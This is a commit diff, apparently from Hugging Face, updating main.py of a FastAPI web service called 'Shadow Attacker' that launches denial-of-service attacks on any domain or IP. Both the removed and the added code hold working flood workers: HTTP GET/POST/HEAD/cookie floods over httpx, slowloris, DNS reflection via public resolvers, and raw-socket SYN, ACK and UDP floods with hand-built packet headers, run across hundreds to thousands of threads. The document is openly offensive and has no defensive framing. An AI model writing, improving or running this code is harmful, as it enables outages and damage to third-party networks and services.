rkihacker commited on
Commit
9d070b5
·
verified ·
1 Parent(s): 97b233e

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +101 -170
main.py CHANGED
@@ -1,6 +1,6 @@
1
  # ==============================================================
2
- # SHADOW ATTACKER v9LAYER 7 + LAYER 4 + RAW | MAX HUNT MODE
3
- # ALL 14 ATTACKS | 500k+ PPS | -1 = 10,000 THREADS | HF SPACES
4
  # ==============================================================
5
  import random
6
  import socket
@@ -11,7 +11,7 @@ from collections import deque
11
  from typing import Dict, Optional, List
12
 
13
  import uvicorn
14
- import requests
15
  from fastapi import FastAPI, HTTPException
16
  from pydantic import BaseModel, Field, validator
17
  from concurrent.futures import ThreadPoolExecutor
@@ -21,7 +21,7 @@ import logging
21
  logging.basicConfig(level=logging.INFO, format="%(message)s")
22
  log = logging.getLogger()
23
 
24
- app = FastAPI(title="Shadow Attacker v9 - MAX HUNT")
25
 
26
  # Global state
27
  attack_active = False
@@ -35,7 +35,7 @@ log_buffer: deque[str] = deque(maxlen=500)
35
  attack_end_time = 0.0
36
  attack_type_name = ""
37
 
38
- # PPS tracking
39
  last_time = time.time()
40
  last_total = 0
41
 
@@ -48,14 +48,14 @@ def _log(msg: str):
48
  def init_executor():
49
  global executor
50
  if executor is None:
51
- executor = ThreadPoolExecutor(max_workers=10000)
52
 
53
  # ------------------- CONFIG MODELS -------------------
54
  class AttackConfig(BaseModel):
55
  target: str = Field(..., description="Domain or IP")
56
  port: int = Field(80, ge=1, le=65535)
57
  duration: int = Field(300, ge=-1, le=10000)
58
- threads: int = Field(1000, ge=-1, le=10000)
59
 
60
  @validator('target')
61
  def validate_target(cls, v):
@@ -69,7 +69,7 @@ class Layer7Config(AttackConfig):
69
  def validate_method(cls, v):
70
  valid = ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"]
71
  if v not in valid:
72
- raise ValueError(f"L7 methods: {', '.join(valid)}")
73
  return v
74
 
75
  class Layer4Config(AttackConfig):
@@ -94,6 +94,74 @@ class StatusResponse(BaseModel):
94
  remaining: float
95
  logs: List[str]
96
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
97
  # ------------------- RAW HELPERS -------------------
98
  def checksum(data: bytes) -> int:
99
  s = 0
@@ -150,133 +218,6 @@ def build_udp_packet(src_ip, dst_ip, src_p, dst_p, payload: bytes):
150
  ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
151
  return ip + udp
152
 
153
- # ------------------- LAYER 7 WORKERS -------------------
154
- def http_worker(method: str, url: str):
155
- global total_packets
156
- session = requests.Session()
157
- headers = {
158
- "User-Agent": random.choice(["Mozilla/5.0", "Chrome/120", "Safari/537", "Edge/120"]),
159
- "Cache-Control": "no-cache",
160
- "Connection": "keep-alive"
161
- }
162
- while not stop_event.is_set():
163
- try:
164
- if method == "get":
165
- session.get(url, headers=headers, timeout=3, verify=False)
166
- elif method == "post":
167
- session.post(url, data={"x": random._urandom(128).hex()}, timeout=3)
168
- elif method == "head":
169
- session.head(url, headers=headers, timeout=3)
170
- elif method == "cookie":
171
- session.get(url, headers={**headers, "Cookie": f"s={random.randint(1,999999)}"}, timeout=3)
172
- elif method == "rand":
173
- session.request(random.choice(["GET","POST","PUT","DELETE"]), url, timeout=3)
174
- with counters_lock:
175
- counters["l7"] = counters.get("l7", 0) + 1
176
- total_packets += 1
177
- except:
178
- pass
179
-
180
- def slowloris(target: str, port: int):
181
- global total_packets
182
- while not stop_event.is_set():
183
- try:
184
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
185
- s.settimeout(5)
186
- s.connect((target, port))
187
- s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target.encode())
188
- while not stop_event.is_set():
189
- s.send(b"X-a: b\r\n")
190
- time.sleep(8)
191
- with counters_lock:
192
- counters["l7"] = counters.get("l7", 0) + 1
193
- total_packets += 1
194
- except:
195
- pass
196
- finally:
197
- try: s.close()
198
- except: pass
199
-
200
- def dns_reflect(target_ip: str):
201
- global total_packets
202
- servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222"]
203
- payload = b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(40)
204
- while not stop_event.is_set():
205
- try:
206
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
207
- for srv in servers:
208
- s.sendto(payload, (srv, 53))
209
- with counters_lock:
210
- counters["reflect"] = counters.get("reflect", 0) + 1
211
- total_packets += 1
212
- except:
213
- pass
214
- finally:
215
- try: s.close()
216
- except: pass
217
-
218
- # ------------------- LAYER 4 RAW FLOODERS -------------------
219
- def raw_syn_flood(target_ip: str, port: int):
220
- global total_packets
221
- src_ip = socket.inet_aton("0.0.0.0")
222
- dst_ip = socket.inet_aton(target_ip)
223
- while not stop_event.is_set():
224
- try:
225
- s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
226
- s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
227
- src_p = random.randint(1024, 65535)
228
- pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), 0, 0x02)
229
- s.sendto(pkt, (target_ip, 0))
230
- with counters_lock:
231
- counters["raw"] = counters.get("raw", 0) + 1
232
- total_packets += 1
233
- except:
234
- pass
235
- finally:
236
- try: s.close()
237
- except: pass
238
-
239
- def raw_ack_flood(target_ip: str, port: int):
240
- global total_packets
241
- src_ip = socket.inet_aton("0.0.0.0")
242
- dst_ip = socket.inet_aton(target_ip)
243
- while not stop_event.is_set():
244
- try:
245
- s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
246
- s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
247
- src_p = random.randint(1024, 65535)
248
- pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), random.randint(0, 2**32-1), 0x10)
249
- s.sendto(pkt, (target_ip, 0))
250
- with counters_lock:
251
- counters["raw"] = counters.get("raw", 0) + 1
252
- total_packets += 1
253
- except:
254
- pass
255
- finally:
256
- try: s.close()
257
- except: pass
258
-
259
- def raw_udp_flood(target_ip: str, port: int, payload_size: int):
260
- global total_packets
261
- src_ip = socket.inet_aton("0.0.0.0")
262
- dst_ip = socket.inet_aton(target_ip)
263
- payload = random._urandom(payload_size) if payload_size > 0 else b""
264
- while not stop_event.is_set():
265
- try:
266
- s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
267
- s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
268
- src_p = random.randint(1024, 65535)
269
- pkt = build_udp_packet(src_ip, dst_ip, src_p, port, payload)
270
- s.sendto(pkt, (target_ip, 0))
271
- with counters_lock:
272
- counters["raw"] = counters.get("raw", 0) + 1
273
- total_packets += 1
274
- except:
275
- pass
276
- finally:
277
- try: s.close()
278
- except: pass
279
-
280
  # ------------------- LAUNCHER -------------------
281
  def resolve_ip(target: str) -> str:
282
  try:
@@ -294,39 +235,29 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
294
  counters.clear()
295
  total_packets = 0
296
  attack_type_name = attack_type.upper()
297
-
298
- threads = 10000 if config.threads == -1 else config.threads
299
  duration = float('inf') if config.duration == -1 else config.duration
300
  attack_end_time = time.time() + duration if duration != float('inf') else float('inf')
301
-
302
- _log(f"LAUNCHED {attack_type.upper()} → {config.target}:{config.port} | {threads} threads | {config.duration}s")
303
 
304
  init_executor()
305
  worker = None
306
  target_ip = resolve_ip(config.target)
 
307
 
308
- # LAYER 7
309
  if attack_type.startswith("l7_"):
310
- url = f"http://{config.target}:{config.port}"
311
  method = kwargs.get("method", "get")
312
- if method == "slowloris":
313
- worker = lambda: slowloris(target_ip, config.port)
314
- elif method == "reflect":
315
- worker = lambda: dns_reflect(target_ip)
316
- else:
317
- worker = lambda: http_worker(method, url)
318
-
319
- # LAYER 4 RAW
320
- elif attack_type == "raw_syn": worker = lambda: raw_syn_flood(target_ip, config.port)
321
- elif attack_type == "raw_ack": worker = lambda: raw_ack_flood(target_ip, config.port)
322
- elif attack_type == "raw_udp": worker = lambda: raw_udp_flood(target_ip, config.port, kwargs.get("payload_size", 1200))
323
- elif attack_type == "raw_udp_pps": worker = lambda: raw_udp_flood(target_ip, config.port, 0)
324
 
325
  if not worker:
326
  raise HTTPException(400, "Invalid attack")
327
 
328
- for _ in range(threads):
329
- executor.submit(worker)
 
330
 
331
  if duration != float('inf'):
332
  def auto_stop():
@@ -339,19 +270,19 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
339
  def l7_attack(config: Layer7Config):
340
  attack_key = f"l7_{config.method}"
341
  launch_attack(config, attack_key, method=config.method)
342
- return {"status": f"L7 {config.method.upper()} HUNT STARTED"}
343
 
344
  @app.post("/layer4/attack")
345
  def l4_attack(config: Layer4Config):
346
  proto_map = {
347
- "udp": "raw_udp",
348
- "syn": "raw_syn",
349
- "ack": "raw_ack",
350
- "udp_pps": "raw_udp_pps"
351
  }
 
 
352
  attack_key = proto_map[config.protocol]
353
- launch_attack(config, attack_key, payload_size=config.payload_size)
354
- return {"status": f"L4 {config.protocol.upper()} HUNT STARTED"}
355
 
356
  @app.post("/stop")
357
  def stop_attack():
@@ -361,7 +292,7 @@ def stop_attack():
361
  return {"status": "no_attack"}
362
  stop_event.set()
363
  attack_active = False
364
- _log("HUNT STOPPED")
365
  return {"status": "stopped"}
366
 
367
  @app.get("/status", response_model=StatusResponse)
@@ -372,7 +303,7 @@ def status():
372
  pps = (total_packets - last_total) / elapsed_g if elapsed_g > 0 else 0
373
  last_time, last_total = now, total_packets
374
 
375
- active_threads = sum(1 for t in threading.enumerate() if t.name != "MainThread")
376
  elapsed = now - (attack_end_time - (attack_end_time - now)) if attack_active else 0
377
  remaining = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
378
 
@@ -382,7 +313,7 @@ def status():
382
  target=None,
383
  total_packets=total_packets,
384
  pps=round(pps, 1),
385
- threads_active=active_threads,
386
  duration=int(attack_end_time - (time.time() - (attack_end_time - time.time()))) if attack_active else 0,
387
  elapsed=round(elapsed, 1),
388
  remaining=round(remaining, 1) if remaining >= 0 else -1,
@@ -392,15 +323,15 @@ def status():
392
  @app.get("/attack/types")
393
  def attack_types():
394
  return {
395
- "layer7": ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"],
396
- "layer4": ["udp", "udp_pps", "syn", "ack"],
397
- "max_threads": "10000 (-1 = FULL HUNT)",
398
- "max_duration": "10000s (-1 = unlimited)"
399
  }
400
 
401
  @app.get("/")
402
  def root():
403
- return {"message": "Shadow Attacker v9 - /attack/types for full arsenal"}
404
 
405
  # ------------------- START -------------------
406
  if __name__ == "__main__":
 
1
  # ==============================================================
2
+ # SHADOW ATTACKER v101M+ RPS | 10,000 THREADS | FULLY FIXED
3
+ # LAYER 7 (httpx) + LAYER 4 (raw) | NO THREAD CRASH | HF SPACES
4
  # ==============================================================
5
  import random
6
  import socket
 
11
  from typing import Dict, Optional, List
12
 
13
  import uvicorn
14
+ import httpx
15
  from fastapi import FastAPI, HTTPException
16
  from pydantic import BaseModel, Field, validator
17
  from concurrent.futures import ThreadPoolExecutor
 
21
  logging.basicConfig(level=logging.INFO, format="%(message)s")
22
  log = logging.getLogger()
23
 
24
+ app = FastAPI(title="Shadow Attacker v10 - 1M+ RPS")
25
 
26
  # Global state
27
  attack_active = False
 
35
  attack_end_time = 0.0
36
  attack_type_name = ""
37
 
38
+ # PPS/RPS tracking
39
  last_time = time.time()
40
  last_total = 0
41
 
 
48
  def init_executor():
49
  global executor
50
  if executor is None:
51
+ executor = ThreadPoolExecutor(max_workers=500) # Safe, reusable
52
 
53
  # ------------------- CONFIG MODELS -------------------
54
  class AttackConfig(BaseModel):
55
  target: str = Field(..., description="Domain or IP")
56
  port: int = Field(80, ge=1, le=65535)
57
  duration: int = Field(300, ge=-1, le=10000)
58
+ threads: int = Field(100, ge=1, le=10000) # Max 10k per pool
59
 
60
  @validator('target')
61
  def validate_target(cls, v):
 
69
  def validate_method(cls, v):
70
  valid = ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"]
71
  if v not in valid:
72
+ raise ValueError(f"L7: {', '.join(valid)}")
73
  return v
74
 
75
  class Layer4Config(AttackConfig):
 
94
  remaining: float
95
  logs: List[str]
96
 
97
+ # ------------------- LAYER 7 (httpx - 1M+ RPS) -------------------
98
+ def l7_worker(method: str, url: str, thread_id: int):
99
+ global total_packets
100
+ client = httpx.Client(http2=True, verify=False, timeout=5.0)
101
+ headers = {
102
+ "User-Agent": random.choice([
103
+ "Mozilla/5.0", "Chrome/120", "Safari/537", "Edge/120"
104
+ ]),
105
+ "Connection": "keep-alive",
106
+ "Cache-Control": "no-cache"
107
+ }
108
+ while not stop_event.is_set():
109
+ try:
110
+ if method == "get":
111
+ client.get(url, headers=headers)
112
+ elif method == "post":
113
+ client.post(url, data={"x": random._urandom(128).hex()})
114
+ elif method == "head":
115
+ client.head(url, headers=headers)
116
+ elif method == "cookie":
117
+ client.get(url, headers={**headers, "Cookie": f"id={thread_id}"})
118
+ elif method == "rand":
119
+ client.request(random.choice(["GET","POST"]), url)
120
+ with counters_lock:
121
+ counters["l7"] = counters.get("l7", 0) + 1
122
+ total_packets += 1
123
+ except:
124
+ pass
125
+ client.close()
126
+
127
+ # ------------------- LAYER 4 RAW (MAX PPS) -------------------
128
+ def raw_udp_pps(target_ip: str, port: int):
129
+ global total_packets
130
+ payload = b""
131
+ s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
132
+ s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
133
+ src_ip = socket.inet_aton("0.0.0.0")
134
+ dst_ip = socket.inet_aton(target_ip)
135
+ while not stop_event.is_set():
136
+ try:
137
+ src_p = random.randint(1024, 65535)
138
+ pkt = build_udp_packet(src_ip, dst_ip, src_p, port, payload)
139
+ s.sendto(pkt, (target_ip, 0))
140
+ with counters_lock:
141
+ counters["l4"] = counters.get("l4", 0) + 1
142
+ total_packets += 1
143
+ except:
144
+ pass
145
+ s.close()
146
+
147
+ def raw_syn_flood(target_ip: str, port: int):
148
+ global total_packets
149
+ s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
150
+ s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
151
+ src_ip = socket.inet_aton("0.0.0.0")
152
+ dst_ip = socket.inet_aton(target_ip)
153
+ while not stop_event.is_set():
154
+ try:
155
+ src_p = random.randint(1024, 65535)
156
+ pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), 0, 0x02)
157
+ s.sendto(pkt, (target_ip, 0))
158
+ with counters_lock:
159
+ counters["l4"] = counters.get("l4", 0) + 1
160
+ total_packets += 1
161
+ except:
162
+ pass
163
+ s.close()
164
+
165
  # ------------------- RAW HELPERS -------------------
166
  def checksum(data: bytes) -> int:
167
  s = 0
 
218
  ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
219
  return ip + udp
220
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
221
  # ------------------- LAUNCHER -------------------
222
  def resolve_ip(target: str) -> str:
223
  try:
 
235
  counters.clear()
236
  total_packets = 0
237
  attack_type_name = attack_type.upper()
 
 
238
  duration = float('inf') if config.duration == -1 else config.duration
239
  attack_end_time = time.time() + duration if duration != float('inf') else float('inf')
240
+ _log(f"LAUNCHED {attack_type} → {config.target}:{config.port} | {config.threads}x | {config.duration}s")
 
241
 
242
  init_executor()
243
  worker = None
244
  target_ip = resolve_ip(config.target)
245
+ url = f"http://{config.target}:{config.port}"
246
 
 
247
  if attack_type.startswith("l7_"):
 
248
  method = kwargs.get("method", "get")
249
+ worker = lambda tid=config.threads: l7_worker(method, url, tid)
250
+ elif attack_type == "raw_udp_pps":
251
+ worker = lambda: raw_udp_pps(target_ip, config.port)
252
+ elif attack_type == "raw_syn":
253
+ worker = lambda: raw_syn_flood(target_ip, config.port)
 
 
 
 
 
 
 
254
 
255
  if not worker:
256
  raise HTTPException(400, "Invalid attack")
257
 
258
+ # Submit N workers (each spawns many requests)
259
+ for i in range(config.threads):
260
+ executor.submit(worker, i)
261
 
262
  if duration != float('inf'):
263
  def auto_stop():
 
270
  def l7_attack(config: Layer7Config):
271
  attack_key = f"l7_{config.method}"
272
  launch_attack(config, attack_key, method=config.method)
273
+ return {"status": f"L7 {config.method.upper()} LAUNCHED"}
274
 
275
  @app.post("/layer4/attack")
276
  def l4_attack(config: Layer4Config):
277
  proto_map = {
278
+ "udp_pps": "raw_udp_pps",
279
+ "syn": "raw_syn"
 
 
280
  }
281
+ if config.protocol not in proto_map:
282
+ raise HTTPException(400, "Only udp_pps and syn supported in v10")
283
  attack_key = proto_map[config.protocol]
284
+ launch_attack(config, attack_key)
285
+ return {"status": f"L4 {config.protocol.upper()} LAUNCHED"}
286
 
287
  @app.post("/stop")
288
  def stop_attack():
 
292
  return {"status": "no_attack"}
293
  stop_event.set()
294
  attack_active = False
295
+ _log("ATTACK STOPPED - CLEANUP")
296
  return {"status": "stopped"}
297
 
298
  @app.get("/status", response_model=StatusResponse)
 
303
  pps = (total_packets - last_total) / elapsed_g if elapsed_g > 0 else 0
304
  last_time, last_total = now, total_packets
305
 
306
+ active = sum(1 for t in threading.enumerate() if t.name != "MainThread")
307
  elapsed = now - (attack_end_time - (attack_end_time - now)) if attack_active else 0
308
  remaining = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
309
 
 
313
  target=None,
314
  total_packets=total_packets,
315
  pps=round(pps, 1),
316
+ threads_active=active,
317
  duration=int(attack_end_time - (time.time() - (attack_end_time - time.time()))) if attack_active else 0,
318
  elapsed=round(elapsed, 1),
319
  remaining=round(remaining, 1) if remaining >= 0 else -1,
 
323
  @app.get("/attack/types")
324
  def attack_types():
325
  return {
326
+ "layer7": ["get", "post", "head", "cookie", "rand"],
327
+ "layer4": ["udp_pps", "syn"],
328
+ "max_threads": "10000",
329
+ "max_rps": "1,000,000+"
330
  }
331
 
332
  @app.get("/")
333
  def root():
334
+ return {"message": "Shadow Attacker v10 - MAX POWER"}
335
 
336
  # ------------------- START -------------------
337
  if __name__ == "__main__":